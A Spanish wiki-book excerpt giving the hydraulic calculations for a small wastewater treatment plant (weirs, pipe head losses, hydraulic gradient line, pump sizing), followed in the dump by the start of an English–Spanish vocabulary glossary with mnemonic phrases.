Fórmula de la S.I.A.: 

: (FALTA ECUACIÓN)

 
Todas estas expresiones arrojan valores muy similares normalmente se adopta un valor medio de m = 0,415 que es el valor propuesto por Francis en 1.823.  Para g = 9,81 m/s2, la expresión anterior se puede reescribir de la siguiente manera:

====2.5.2. Vertedero triangular Thompson (dientes a 90º)====

Según Thompson, el caudal aguas arriba de un vertedero rectangular de lamina delgada viene dada por: 

:&lt;math&gt;Q=1,84\cdot L\cdot h^{3/2}&lt;/math&gt;

En donde: 

q: caudal unitario en cada diente (m3/s/diente) 

h: altura de la lámina de agua, aguas arriba del vertedero (m.c.a.)

L: ancho del vertedero

===2.6 Cálculo de bombeos. ===

* Cálculo de la altura manométrica del bombeo: 

La altura manométrica del bombeo se obtiene mediante la suma de la altura geométrica y la pérdida de carga en la impulsión:

&lt;math&gt;H_m=H_{geo}+\Delta H_i &lt;/math&gt;

donde: 

&lt;math&gt;H_{geo}&lt;/math&gt; : Altura geométrica 

&lt;math&gt;\Delta H_i &lt;/math&gt;: Pérdida de carga en la impulsión  

'''a. Altura geométrica (Hgeo ): '''

Con la cota de vertido y las alturas máxima y mínima de agua en el pozo de bombeo se obtienen las alturas geométricas: 

Altura geométrica mínima (Hgeo,min) 

Altura geométrica máxima (Hgeo,max) 

'''b. Pérdida de carga en la tubería de impulsión (&lt;math&gt;\Delta H_i &lt;/math&gt;) '''

La pérdida de carga en una tubería viene dada por la siguiente expresión:

En donde el primer término representa las pérdidas de carga debidas a la rugosidad de la propia tubería, y el sumatorio las debidas a los diversos accidentes en la impulsión. : 

&lt;math&gt;\Delta H_i =K\cdot i\cdot L+\sum_1^n {K_i\cfrac{v^2}{2g}}&lt;/math&gt;

L: longitud de la tubería (km) 

i:  pérdida de carga en la tubería (m/km) 

K: coeficiente de uso 

Ki:  coeficiente de pérdida de carga de la singularidad

v:  velocidad del fluido (m/s) 

g:  aceleración de la gravedad (m/s2) 

Con la altura manométrica máxima y el caudal requerido se elige la bomba.

==3. EJEMPLO DE CÁLCULO DE LÍNEA PIEZOMÉTRICA DE UNA E.D.A.R. ==

===3.1. Datos de partida. ===

Cota fondo arroyo en el punto de vertido: 458,000

Caudales de entrada: 

Caudal medio: 100,670 m3/h 

Caudal máximo: 200 m3/h 

Caudales del proceso: 

'''- Pretratamiento:'''

Caudal máximo (Qmax-pret): 200 m3/h (bombeado)

'''- Reactor Biológico: '''

Caudal máximo total(Qmax-bio): 113,330 m3/h 

Caudal de recirculación total(Qrec): 140,000 m3/h/ud.

===3.2. Pozo de gruesos. ===

'''''Datos de partida:'''''

Cota rasante tubería de entrada: 466,600

Definición del pozo de gruesos: 

Altura total útil del pozo de gruesos: 1,550 m

Cota solera pozo de gruesos: 465,050

Pérdida de carga estimada en salida 0,048 

Cota lámina de agua a la salida del pozo de gruesos: 466,552

===3.3. Tamizado de finos. ===

'''''Datos de partida: '''''

Caudal máximo de entrada (Qmax-pret): 200 m3/h (bombeado)

Tamices rotativos: 

Nº de líneas principales: 1 uds.

Nº de líneas auxiliares: 1 uds.

Cota lámina de agua a la entrada del tamiz: 466,552

Desbaste de finos (tamices rotativos) 

a. Dimensiones del tamiz 

Longitud de tamiz: 1200 mm 

Paso (E): 3 mm 

b. Pérdida de carga 

Pérdida de carga estimada en el tamiz: 0,800 m

Cota lámina de agua en salida de tamiz: 465,752

===3.3 Desarenado - Desengrasado. ===

'''''Datos de partida: '''''

Caudal máximo de entrada (Qmax-pret): 200 m3/h 

'''''Canales de desarenado-desengrasado: '''''

Nº de canales principales: 1 uds. 

Nº de canales auxiliares: 0 uds.

Cota lámina de agua a la salida del tamizado: 465,752

Resguardo para adecuación: 0,600

Cota lámina de agua a la entrada desarenado: 465,152

'''''Desarenado - desengrasado: '''''

Pérdida de carga estimada en recinto 0,050 

Cota lámina de agua a la salida del recinto: 465,102

'''''Cálculo del vertedero de salida del Desarenado-desengrasado'''''

'''''a. Dimensionado del vertedero. '''''

La altura de la lámina de agua en vertederos lineales, viene dada por la siguiente expresión: 

Q:  Caudal en vertedero (m3/h) 

h:  Altura de la lámina agua, aguas arriba del vertedero (m) 

'''''b. Definición del vertedero. '''''

Longitud vertedero (L): 2 m 

Q = Qmax-pret: 200 m3/h 

c. Altura lámina de agua sobre vertedero. 

De la expresión descrita anteriormente, se obtiene la altura de la lámina de agua sobre el vertedero: 

Altura de la lámina de agua sobre vertedero: 61,083 mm 

Cota coronación vertedero: 465,041

'''''Canal de salida del desarenado - desengrasado: '''''

Resguardo para evitar sumergencia: 0,1 m

Cota lámina de agua en canal de salida del recinto: 464,941

===3.4. Arqueta de reparto a biológico y alivio de excesos. ===

'''''Datos de partida: '''''

Caudal máximo de entrada unitario(Qmax-Biol.): 113,330 m3/h 

Caudal de recirculación unitario(Qrec): 70 m3/h 

Canales de reparto: 

Nº de repartos diseño: 1 uds. 

Nº de reparto futuro: 1 uds. 

Cota lámina de agua a la entrada: 464,941

'''''Cálculo del vertedero de salida arqueta de reparto: '''''

'''''a. Dimensionado del vertedero.  '''''

La altura de la lámina de agua en vertederos lineales, viene dada por la siguiente expresión: 

Q:  Caudal en vertedero (m3/h) 

h:  Altura de la lámina agua, aguas arriba del vertedero (m) 

'''''b. Definición del vertedero. '''''

Longitud vertedero (L): 0,500 m 

Q = Qmáx-bio: 113,330 m3/h 


'''''c. Altura lámina de agua sobre vertedero. '''''

De la expresión descrita anteriormente, se obtiene la altura de la lámina de agua sobre el vertedero: 

Altura de la lámina de agua sobre vertedero: 105,399 mm

Cota coronación vertedero: 464,836

Salida arqueta de reparto: 

Resguardo para evitar sumergencia: 0,100 m

Cota lámina de agua en arqueta de salida: 464,736

'''''Cálculo del vertedero de alivio de excesos: '''''

'''''a. Dimensionado del vertedero. '''''

La altura de la lámina de agua en vertederos lineales, viene dada por la siguiente expresión: 

Q:  Caudal en vertedero (m3/h) 

h:  Altura de la lámina agua, aguas arriba del vertedero (m) 

'''''b. Definición del vertedero. '''''

Longitud vertedero (L): 2,300 m 

Q = Qaliviado: 86,670 m3/h 

'''''c. Altura lámina de agua sobre vertedero. '''''

De la expresión descrita anteriormente, se obtiene la altura de la lámina de agua sobre el vertedero: 

Altura de la lámina de agua sobre vertedero: 31,867 mm

Cota coronación vertedero: 464,941

'''''Salida vertedero alivio: '''''

Resguardo para evitar sumergencía: 0,100 m

Cota lámina de agua en  alivio excesos: 464,841

===3.5. Conexión arqueta de reparto - reactor  biológico. ===

'''''Datos de partida:'''''

Nº de líneas principales: 1  

Diámetro interior tubería: 200 mm  

Caudal max. unitario (qmax): 113,330 m3/h/ud.  

Velocidad del fluido: 1,002 m/s 

Viscosidad cinemática del agua: 0 m2/s  

Cota inicial lámina de agua: 464,736  

'''''Cálculo de la pérdida de carga en la tubería:   '''''

'''''a. Tramo recto. '''''

Longitud de la tubería: 27 m 

Rugosidad de la tubería: 0,001 mm (PVC) 

Coeficiente de uso: 1,1 

Pérdida de carga 
{| border=1 
!Q(m³/h)
!Q(l/s)
!v(m/s)
!J(m/km)
!DHt*(m)
|-----------------
|113,330
||1,481
||1,002
||4,222
||0,125
|}


'''''b. Accidentes. '''''
{| border=1 
!Accidente
!
nº uds.
!
Ki
|-----------------
|Contracción brusca||1||0,500
|-----------------
|Expansion brusca||1||0,500
|-----------------
|Codos a 45º||0||0,190
|-----------------
|Codos a 90º||2||0,330
|-----------------
|Válvula de compuerta||0||0,300
|-----------------
|Válvula de retención||0||2
|}
Coeficiente total de accidentes: 1,660  

Pérdida de carga en accidentes (m): 0,085  

'''''c. Pérdida de carga total en la conducción. '''''

Pérdida de carga en tramo recto: 0,125 m

Pérdida de carga en accidentes: 0,085 m 

Pérdida de carga total  en tubería: 0,210 m 

Cota lámina de agua a la salida: 

Cota lámina de agua a la salida: 464,525

Resguardo para adecuación al terreno: 0,173 m

Cota lámina de agua de entrada a reactor biológico: 464,352


===3.6. Reactor biológico. ===

'''''Datos de partida: '''''

Nº de líneas: 1

Caudal máximo biológico unitario(Qmax-bio): 113,330 m3/h

Caudal de recirculación unitario (Qrec): 140 m3/h/línea

Cota lámina de agua en el reactor biológico: 464,352

'''''Cálculo del vertedero de salida del reactor biológico: '''''

''''' a. Dimensionado del vertedero. '''''

La altura de la lámina de agua en vertederos lineales, viene dada por la siguiente expresión: 

Q:  Caudal en vertedero (m3/h) 

h:  Altura de la lámina agua, aguas arriba del vertedero (m) 

'''''b. Definición del vertedero. '''''

Longitud vertedero (L): 6 m 

Q =Qmax-bio + Qrec: 253,330 m3/h/línea 

'''''c. Altura lámina de agua sobre vertedero. '''''

De la expresión descrita anteriormente, se obtiene la altura de la lámina de agua sobre el vertedero: 

Altura de la lámina de agua sobre vertedero: 34,378 mm

Cota coronación vertedero: 464,318

Arqueta de salida del reactor biológico: 

Resguardo para evitar sumergencia: 0,100 m

Cota lámina de agua en arqueta de salida: 464,218

===3.7. Conexión reactor biológico - decantador secundario.  ===

'''''Datos de partida'''''

Nº de líneas principales: 1 

Diámetro interior tubería: 300 mm 

Caudal max. unitario (qmax): 253,330 m3/h/ud.

Velocidad del fluido: 0,996 m/s 

Viscosidad cinemática del agua: 0 m2/s 

Cota inicial lámina de agua: 464,218

'''''Cálculo de la pérdida de carga en la tubería: '''''

'''''a. Tramo recto. '''''

Longitud de la tubería: 9 m 

Rugosidad de la tubería: 0,045 mm (acero comercial)

Coeficiente de uso: 1,1 

Pérdida de carga 

{| border=1 
!Q(m³/h)
!Q(l/s) 
!v (m/s) 
!J(m/km) 
!DHt* (m) 
|-----------------
|253,330 ||70,369||0,996 ||2,766 ||0,027 
|}
{| border=1 
!Accidente
!
nº uds.
!
Ki
|-----------------
|Contracción brusca||1||0,5
|-----------------
|Expansion brusca||1||0,5
|-----------------
|Codos a 45º||0||0,19
|-----------------
|Codos a 90º||2||0,33
|-----------------
|Válvula de compuerta||0||0,3
|-----------------
|Válvula de retención||0||2
|}


'''''b. Accidentes. '''''
Coeficiente total de accidentes: 1,660 

Pérdida de carga en accidentes (m): 0,084 

'''''c. Pérdida de carga total en la conducción '''''

Pérdida de carga en tramo recto: 0,027 m

Pérdida de carga en accidentes: 0,084 m

Pérdida de carga total  en tubería: 0,111 m

Cota lámina de agua a la salida: 464,107

===3.8 Decantador secundario. ===

'''''Datos de partida: '''''

Nº de unidades: 1 

Caudal máx. unitario de entrada (Qmax-bio+ Qrec)  253,33 m3/h/ud.

Caudal unitario de salida (Qmax-bio)  113,330 m3/h/ud.

Cota inicial lámina de agua: 464,107

'''''Cálculo de la pérdida de carga en la salida de agua de la torreta central: '''''

'''''a. Pérdida de carga. '''''

La pérdida de carga en un orificio inundado, atravesado por un caudal Q viene dado por la expresión: 

q:  Caudal que atraviesa el orificio (m3/h/orificio) 

K:  constante (Valor normal= 0,62) 

g:  aceleración de la gravedad (m/s) 

h:  diferencia de cota de la lámina de agua, aguas abajo (m) 

S:  sección del hueco (m2) 

'''''b. Definición de huecos. '''''

nº de huecos: 4 

Altura (h): 0,5 m

Anchura (b): 0,2 m 

Sección (S): 0,1 m2 

Caudal unitario (q): 63,333 m3/h/hueco 

'''''c. Cálculo de la pérdida de carga. '''''

Pérdida de carga en orificios 0,004 

Cota lámina de agua en Decantador (Cd): 464,102

'''''Cálculo del vertedero del decantador: '''''


'''''a. Dimensionado del vertedero. '''''

Según Thompson, la altura de la lámina de agua en vertederos de dientes triangulares de 90º, viene dada por la siguiente expresión: 

q:  Caudal unitario por diente (m3/h) 

h:  Altura de la lámina agua, aguas arriba del vertedero (m) 

'''''b. Definición del vertedero. '''''

nº de dientes: 408,407 uds.

Diámetro del vertedero: 13 m

Longitud vertedero (L): 40,841 m

Caudal unitario (q): 0 m3/s

'''''c. Altura lámina de agua sobre vertedero. '''''

De la expresión descrita anteriormente, se obtiene la altura de la lámina de agua sobre el vertedero: 

Altura de lámina de agua sobre vertedero (h): 0,020 m

Cota coronación vertedero salida de decantación: 464,083

Canal de salida agua clarificada de decantación: 

Resguardo para evitar sumergencias: 0,1 m

Cota lámina de agua en canal de salida del recinto: 463,983

===3.9. Conexión decantador secundario- arqueta de agua tratada. ===

'''''Conexión cloración con arqueta de agua tratada: '''''


'''''Datos de partida: '''''

Nº de líneas principales: 1 

Diámetro interior tubería: 200 mm 

Caudal max. unitario (qmax): 113,330 m3/h/ud.

Velocidad del fluido: 1,002 m/s 

Viscosidad cinemática del agua: 0 m2/s 

Cota inicial lámina de agua: 463,983

'''''Cálculo de la pérdida de carga en la tubería: '''''

'''''a. Tramo recto. '''''

Longitud de la tubería: 5 m 

Rugosidad de la tubería: 0,045 mm (Acero comercial)

Coeficiente de uso: 1,100 

Pérdida de carga 

{| border=1 
!Q (m³/h) !!Q (l/s) !!v (m/s) !!J (m/km) !!DHt* (m) 
|-----------------
|113,330 ||31,481 ||1,002 ||4,576||0,025 
|}
'''''b. Accidentes. '''''
{| border=1 
!Accidente
!
nº uds.
!
Ki
|-----------------
|Contracción brusca||1||0,5
|-----------------
|Expansion brusca||1||0,5
|-----------------
|Codos a 45º||0||0,190
|-----------------
|Codos a 90º||0||0,330
|-----------------
|Válvula de compuerta||0||0,300
|-----------------
|Válvula de retención||0||2
|}
Coeficiente total de accidentes: 1 

Pérdida de carga en accidentes (m): 0,051 

'''''c. Pérdida de carga total en la conducción. '''''

Pérdida de carga en tramo recto: 0,025 m 

Pérdida de carga en accidentes: 0,051 m 

Pérdida de carga total  en tubería: 0,076 m

Cota máxima lámina de agua en arqueta de agua tratada: 463,906

Resguardo para adecuación al terreno: 0,085 m

Cota lámina de agua en arqueta agua tratada:  463,821

'''''Cálculo del vertedero de salida de arqueta de agua tratada: '''''

'''''a. Dimensionado del vertedero. '''''

La altura de la lámina de agua en vertederos lineales, viene dada por la siguiente expresión: 

Q:  Caudal en vertedero (m3/h) 

h:  Altura de la lámina agua, aguas arriba del vertedero (m) 

'''''b. Definición del vertedero. '''''

Longitud vertedero (L): 1,600 m 

Q = Qmax-bio: 113,330 m3/h 

'''''c. Altura lámina de agua sobre vertedero. '''''

La altura de la lámina de agua en vertederos lineales, viene dada por la siguiente expresión: 

Altura de la lámina de agua sobre vertedero: 48,537 mm

Cota coronación vertedero: 463,773

Resguardo por adecuación al terreno: 0,801 m

Cota lámina de agua a la salida: 462,972

3.10. Vertido del efluente. 

'''''Conexión arqueta de agua tratada- pozo P2: '''''

'''''Datos de partida: '''''

Nº de líneas principales: 1 

Diámetro interior tubería: 200 mm 

Caudal max. unitario (qmax): 113,330 m3/h/ud.

Velocidad del fluido: 1,002 m/s 

Viscosidad cinemática del agua: 0 m2/s 

Cota inicial lámina de agua: 462,972

Cálculo de la pérdida de carga en la tubería: 

'''''a. Tramo recto. '''''

Longitud de la tubería: 19 m 

Rugosidad de la tubería: 0,001 mm (PVC)

Coeficiente de uso: 1,1 

Pérdida de carga 
{| border=1 
!Q(m³/h)
!Q(l/s)
!v(m/s)
!J(m/km)
!DHt*(m)
|-----------------
|113,330||31,481||1,002||4,222||0,088
|}
'''''b. Accidentes. '''''
{| border=1 
!Accidente
!
nº uds.
!
Ki
|-----------------
|Contracción brusca||1||0,5
|-----------------
|Expansion brusca||1||0,5
|-----------------
|Codos a 45º||0||0,190
|-----------------
|Codos a 90º||0||0,330
|-----------------
|Válvula de compuerta||0||0,3
|-----------------
|Válvula de retención||0||2
|}
Coeficiente total de accidentes: 1 

Pérdida de carga en accidentes (m): 0,051 

'''''c. Pérdida de carga total en la conducción. '''''

Pérdida de carga en tramo recto: 0,088 m 

Pérdida de carga en accidentes: 0,051 m 

Pérdida de carga total  en tubería: 0,139 m 

Cota lámina de agua en pozo P2: 462,833

'''''Conexión pozo P2- pozo P3: '''''


'''''Datos de partida: '''''

Nº de líneas principales: 1 

Diámetro interior tubería: 200 mm 

Caudal max. unitario (qmax): 113,330 m3/h/ud.

Velocidad del fluido: 1,002 m/s 

Viscosidad cinemática del agua: 0 m2/s 

Cota inicial lámina de agua: 462,833

Cálculo de la pérdida de carga en la tubería: 

'''''a. Tramo recto. '''''

Longitud de la tubería: 12 m 

Rugosidad de la tubería: 0,001 mm (PVC)

Coeficiente de uso: 1,100 

Pérdida de carga 

{| border=1 
!Q(m³/h) 
!Q(l/s) 
!v(m/s) 
!J(m/km) 
!DHt*(m) 
|-----------------
|113,330 ||31,481 ||1,002 ||4,222 ||0,056 
|}

'''''b. Accidentes. '''''
{| border=1 
!Accidente
!
nº uds.
!
Ki

|-----------------
|Contracción brusca||1||0,500

|-----------------
|Expansion brusca||1||0,500

|-----------------
|Codos a 45º||0||0,190

|-----------------
|Codos a 90º||0||0,330

|-----------------
|Válvula de compuerta||0||0,3

|-----------------
|Válvula de retención||0||
2
|}
Coeficiente total de accidentes: 1 

Pérdida de carga en accidentes (m): 0,051 

'''''c. Pérdida de carga total en la conducción. '''''

Pérdida de carga en tramo recto: 0,056 m 

Pérdida de carga en accidentes: 0,051 m 

Pérdida de carga total  en tubería: 0,107 m 

Cota lámina de agua en pozo P3: 462,726

===3.10 Pozo de salida hasta punto de vertido:===

'''''Datos de partida: '''''

Nº de líneas principales: 1 

Diámetro interior tubería: 300 mm 

Caudal max. (Qmax-pret): 200 m3/h/ud. 

Velocidad del fluido: 0,786 m/s 

Viscosidad cinemática del agua: 0 m2/s 

Cota lámina de agua en pozo P3: 462,726

'''''Cálculo de la pérdida de carga en la tubería: '''''


'''''a. Tramo recto. '''''

Longitud de la tubería: 10 m 

Rugosidad de la tubería: 0,001 mm (PVC)

Coeficiente de uso: 1,100 

Pérdida de carga 

{| border=1 
!Q(m³/h) 
!Q(l/s) 
!v(m/s) 
!J(m/km) 
!DHt*(m) 
|-----------------
|200 ||55,556 ||0,786 ||1,676 ||0,018 
|}

'''''b. Accidentes. '''''
{| border=1 
!Accidente
!
nº uds.
!
Ki
|-----------------
|Contracción brusca||1||0,500
|-----------------
|Expansion brusca||1||0,500
|-----------------
|Codos a 45º||0||0,190
|-----------------
|Codos a 90º||0||0,330
|-----------------
|Válvula de compuerta||0||0,300
|-----------------
|Válvula de retención||0||2
|}
Coeficiente total de accidentes: 1

Pérdida de carga en accidentes (m): 0,031 

'''''c. Pérdida de carga total en la conducción. '''''

Pérdida de carga en tramo recto: 0,018 m

Pérdida de carga en accidentes: 0,031 m

Pérdida de carga total  en tubería: 0,050 m

Cota lámina de agua a la salida: 

Resguardo para adecuación al terreno: 1,320 m

Cota lámina de agua en vertido: 461,356

===3.11. Resumen de la piezométrica. línea de agua. ===

'''''Pozo de gruesos: '''''

Cota lámina de agua en pozo de gruesos: 466,600

Cota solera del pozo de gruesos: 465,050

'''''Tamizado de finos: '''''

Cota lámina de agua en entrada a tamiz: 466,552

Cota lámina de agua en salida de tamiz: 465,752

'''''Desarenado - Desengrasado: '''''

Cota lámina de agua en recinto desarenado: 465,152

Cota coronación del vertedero de salida: 465,041

Cota lámina de agua en canal de salida del recinto: 464,941

'''''Arqueta de reparto a biológico y alivio de excesos. '''''

Cota lámina de agua en arqueta salida a biológico: 464,736

Cota coronación del vertedero de salida a biológico: 464,836

Cota lámina de agua en alivio de excesos: 464,841


'''''Reactor biológico. '''''

Cota lámina de agua en reactor biológico: 464,352

Cota coronación vertedero de salida del biológico: 464,318

Cota lámina de agua en arqueta de salida: 

'''''Decantador secundario. '''''

Cota lámina de agua en decantador: 464,102

Cota coronación vertedero de salida: 464,083

Cota lámina de agua en canal de salida: 463,983

'''''Arqueta de agua tratada. '''''

Cota lámina de agua en arqueta: 463,821

Cota coronación del vertedero de salida: 463,773

Cota lámina de agua a la salida: 462,972

'''''Vertido del efluente. '''''

Cota lámina de agua en pozo de salida: 462,726

Cota de vertido: 461,356

==4. Ejemplo de cálculo de bombeo. ==

4.1. Definición del pozo de bombeo. 

Caudal máximo de entrada (Qmax):       72 m3/h

Nº máximo de líneas en servicio:   1 

Altura máxima útil del pozo de bombeo (Hútil):   2,5m

Altura mínima para sumergencia de bombas (Hmín):   0,5m

Altura total del pozo de bombeo: 3m

Cota máxima lámina de agua en pozo de bombeo (Cl,máx):  71,85

Cota máxima de vertido (Cvertido):  918

Cota solera pozo de bombeo (Cpozo):           868,85

n la figura 1 se muestran las distintas cotas en el pozo de bombeo:    (FALTAFIGURA)

===4.2. Cálculo de la altura manométrica del bombeo. ===

La altura manométrica del bombeo se obtiene mediante la suma de la altura geométrica y la pérdida de carga en la impulsión:

Hm=Hgeo+DHi

donde: 

Hgeo: Altura geométrica

DHi: Pérdida de carga en la impulsión 

'''''a. Altura geométrica (Hgeo) '''''

Cota máxima de vertido: 918 m

Altura geométrica mínima (Hgeo,min): 46,15 m

Altura geométrica máxima (Hgeo,max): 48,65 m

'''''b. Pérdida de carga en la tubería de impulsión (DHi): '''''

La pérdida de carga en una tubería viene dada por la siguiente expresión:

En donde el primer término representa las pérdidas de carga debidas a la rugosidad de la propia tubería, y el sumatorio las debidas a los diversos accidentes en la impulsión. 

L: longitud de la tubería (km) 

i:  pérdida de carga en la tubería (m/km) 

K: coeficiente de uso 

Ki:  coeficiente de pérdida de carga de la singularidad 

v:  velocidad del fluido (m/s) 

g:  aceleración de la gravedad (m/s2) 

'''''b.1 Datos de la impulsión'''''

Caudal unitario a bombear:   72 m3/h 

Diámetro interior tubería: 180 mm 

Viscosidad cinemática del agua:  0,000001302 m2/s 

'''''b.1.1  Tramo recto'''''

Longitud de la tubería: 715 m 

Rugosidad de la tubería: 0,008 mm (PEAD)

Coeficiente de uso: 1,1 

'''''b.1.2  Accidentes'''''
{| border=1 
!Accidente!!nº uds. !!Ki 
|-----------------
|Contracción brusca||1 ||0,5 
|-----------------
|Expansion brusca||1 ||0,5 
|-----------------
|Codos a 45º||9 ||0,19 
|-----------------
|Codos a 90º||8 ||0,33 
|-----------------
|Válvula de compuerta||1 ||0,3 
|-----------------
|Válvula de retención||1||2 
|-----------------
|Compuerta canal abierto  || 0 ||0,3 
|}
Coeficiente total de accidentes: 7,65 


CÁLCULO  CURVAS DEL SISTEMA1			
{| border=1 
!
Q
!
Q
!
v
!
J
!
Hm,min
!
Hm,max 
|-----------------
|(m³/h)||(l/s)||(m/s)||(m/km)||(m)||(m)
|-----------------
|0||0||0||0||46,15||48,65
|-----------------
|9||2,5||0,09824379||0,07815538||46,2152325||48,7152325
|-----------------
|18||5||0,19648758||0,26405489||46,3727325||48,8727325
|-----------------
|27||7,5||0,29473138||0,54162496||46,609858||49,109858
|-----------------
|36||10||0,39297517||0,90414989||46,9213272||49,4213272
|-----------------
|45||12,5||0,49121896||1,34747446||47,303872||49,803872
|-----------------
|54||15||0,58946275||1,8686657||47,7551856||50,2551856
|-----------------
|63||17,5||0,68770654||2,46550059||48,2735195||50,7735195
|-----------------
|72||20||0,78595034||3,13621306||48,8574849||51,3574849
|-----------------
|81||22,5||0,88419413||3,87935567||49,5059432||52,0059432
|-----------------
|90||25||0,98243792||4,69371271||50,2179384||52,7179384

|}
'''''c. Curvas del sistema Máxima y Mínima '''''

Las curvas del sistema se obtienen con los datos de caudales y las alturas manométricas (máximas y mínimas) 

'''Hm,mín:'''  Curva del sistema con la máxima lámina de agua en el pozo de bombeo, esto es, Hgeo, mín. 

'''Hm,máx:''' Curva del sistema con la mínima lámina de agua en el pozo de bombeo, esto es, Hgeo, máx. 

'''''d. Curva de la bomba seleccionada '''''

Se elige una bomba que sea capaz de suministrar el caudal máximo 72 m3/h a la altura manométrica máxima correspondiente calculada en el apartado c:51,36 m. 

En la tabla siguiente se indican algunos puntos de la curva característica de la bomba seleccionada. 

'''''CURVA CARACTERÍSTICA '''''

Bomba 

{| border=1 
!Qu (l/s) !!Qu (m3/h) !!Hm (m)
|-----------------
|12 ||43,2 ||50,3
|-----------------
|18 ||64,8 ||49,2
|-----------------
|20 ||72 ||48,8
|-----------------
|22 ||79,2 ||48,5
|-----------------
|24 ||86,4 ||48,1
|-----------------
|26 ||93,6 ||47,7

|}

'''''e. Representación gráfica y cálculo de los puntos de trabajo extremos '''''

Para determinar los puntos de trabajo extremos de funcionamiento de la bomba se representan gráficamente las curvas del sistema frente a la curva de la bomba seleccionada.  

El punto intersección de las curvas Hbomba y Hmáx representa el punto de funcionamiento de la bomba cuando el pozo de bombeo alcanza su nivel más bajo (Hgeo,máx). De igual manera, el punto de intersección de las curvas Hbomba y Hmín representa el funcionamiento de la bomba en el nivel máximo de agua en el pozo (Hgeo,mín). Entre estos dos niveles se desplaza el punto de trabajo de la bomba.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Reutilización de las aguas residuales
 |actual=Cálculos hidráulicos
 |siguiente=Gestión de depuradoras
}}

{{AutoCat}}</text>
      <sha1>5n4tho9hr2e0zjhdy03m9vkw568sx1f</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Glosario de consulta</title>
    <ns>0</ns>
    <id>33196</id>
    <revision>
      <id>429860</id>
      <parentid>403146</parentid>
      <timestamp>2026-08-01T22:05:53Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429860</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7796" sha1="qg10oe4ysgidp0s106pgi7dbg6x2ec9" xml:space="preserve">{| class=&quot;wikitable sortable&quot;
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Teenager - Adolescent || Adolescente || Un '''adolescente''' parece más bien una an'''teena ger'''minadora de problemas.
|-
| Adult || Adulto || Son palabras muy parecidas.
|-
| Friendly || Amable || Un amigo ('''friend''') '''amable''' es amistoso se le nota en la '''frente'''.
|-
| Kind || Bondadoso || '''Kind'''ijera que ese ogro es tan '''bondadoso'''
|-
| Ambitious || Ambicioso || Son palabras muy parecidas. El que es '''Ambicioso''' lo es en todos los '''Ámbitos'''
|-
| Handsome || Guapo || Me creo '''guapo''' y apuesto que están asec'''handsome''' en el espejo, pero me de'''jan so'''lo.
|-
| Arrogant || Arrogante || Son palabras muy parecidas.
|-
| Wrinkle || Arruga || Un ornitor'''rinko''' anda'''rín kle'''mente cuando envejece le salen '''arruga'''s.
|-
| Appearance || Aspecto, apariencia || '''Aparentar''' buen '''aspecto'''
|-
| Attractive || Atractivo || Son palabras muy parecidas.
|-
| Beard || Barba || Esa mujer sa'''be ard'''er con la '''barba''' del hombre.
|-
| Moustache || Bigote || Un '''mostacho''' es un '''bigote''' muy particular.
|-
| Good-nature, affable || Bonachón, afable || Una ser '''bonachón''' es de muy '''buena naturaleza'''.
|-
| Bald || Calvo || Un pobre '''calvo''' que en '''bald'''e gasta dinero en champús.
|-
| Character || Carácter || Son palabras muy parecidas.
|-
| Behave || Comportarse || Esa a'''beja ve''' la manera de '''comportarse''' para parecer una o'''beja ve'''rdadera.
|-
| Cruel || Cruel || Son palabras muy parecidas.
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Bad tempered || Mal genio || ¡Te lo juro teneis que acá'''bad''' con ese '''temper'''amento tan malo!
|-
| Middle aged || Mediana edad || Middle - media Aged - Edad (en años)
|-
| Decisive || Decidido || Decididamente son palabras muy parecidas.
|-
| Thin || Delgado || Un cerafín muy '''delgado''' que bebe mucho '''thint'''o.
|-
| Distracted, Absent-minded || Distraído || Un '''distraído''' tiene '''ausente (absent)''' la '''mente (minded)'''.
|-
| Amusing || Divertido || Un '''divertido''' y f'''amus'''o '''ing'''eniero que cant'''a músi'''ca in '''ing'''lés.
|-
| Charming || Encantador || Es '''encantador''' escu'''char min'''tir esos labios color Carmín.
|-
| Conceited || Engreído || Un niño muy '''conceitid'''o será seguramente un adulto muy '''engreído'''.
|-
| Enthusiastic || Entusiasta || Me entusiasma que son palabras muy parecidas.
|-
| Slim || Esbelto || Por la ventana ve'''s lim'''bo lleno de espíritus '''esbelto'''s y '''delgado'''s 
|-
| Skinny || Flaco || Un '''flaco''' eskeleto en una e'''skin'''a que está así porque e'''ski ny''' come arroz. 
|-
| Generous || Generoso || son palabras muy parecidas y generosas.
|-
| Rude || Maleducado || Él se cree un tipo '''rudo''', pero sólo es un '''maleducado''' que no sabe leer.
|-
| Clever || Listo || Hay qu'''e ver''' que hay que ser '''listo''' para '''clavar''' un '''clavo''' veloz. 
|-
| Wicked || Malvado || En la cárcel hay un '''malvado''' que al tratar de h'''uíc ked'''o atrapado en los barrotes.
|-
! Inglés !! Español !! Frase de relación____________________________________________________.
|-
| Dark || Oscuro || La sala esta muy '''oscura''', prende la luz por favor.
|-
| Nervous || Nervioso || son palabras muy parecidas.
|-
| Toddler || Niñito || A el '''niñito''' no le ha vuel'''to doler''' su manita.
|-
| Optimist || Optimista || son palabras muy parecidas.
|-
| Freckles || Pecas || El fraile que en la cara tiene '''pecas''' hace '''flecos frescos frecu'''entemente.
|-
| Hair || Pelo || Se ve hermosa con el '''pelo''' al '''hair'''e y si me de'''ja ir'''é con usted.
|-
| Lazy || Perezoso || Cuando estoy '''perezoso''' me quedo amarrado con un '''lazo''' en '''la zy'''lla todo el día.
|-
| Gentleman || Caballero || Un '''caballero''' siempre es un hombre ('''man''') muy '''gentil'''. 
|-
| Lady || Dama || A esa '''dama''' '''la dy'''bujé y '''lei dí'''as enteros poemas.
|-
| Sensitive || Sensible || Soy tan '''sensible''' que soy más '''sensitivo''' que un nervio.
|-
| Sensible || Sensato, Razonable || Un ser '''sensato''' es '''sensible''' a lo que pasa a su alrededor.
|-
| Serious || Serio || En serio son palabras muy parecidas.
|-
| Nice || Simpático || Soy tan '''simpático''' que '''nice''' que es lo que hago para que me quieran tanto.
|-
| Mean || Tacaño || Unos señores que son '''tacaño'''s hasta cuando '''mean''', y hacen poquito.
|-
| Complexion || Tez, cutis || Las señoras de '''complexión''' gruesa se compran cremas para mejorar su '''cutis'''.
|-
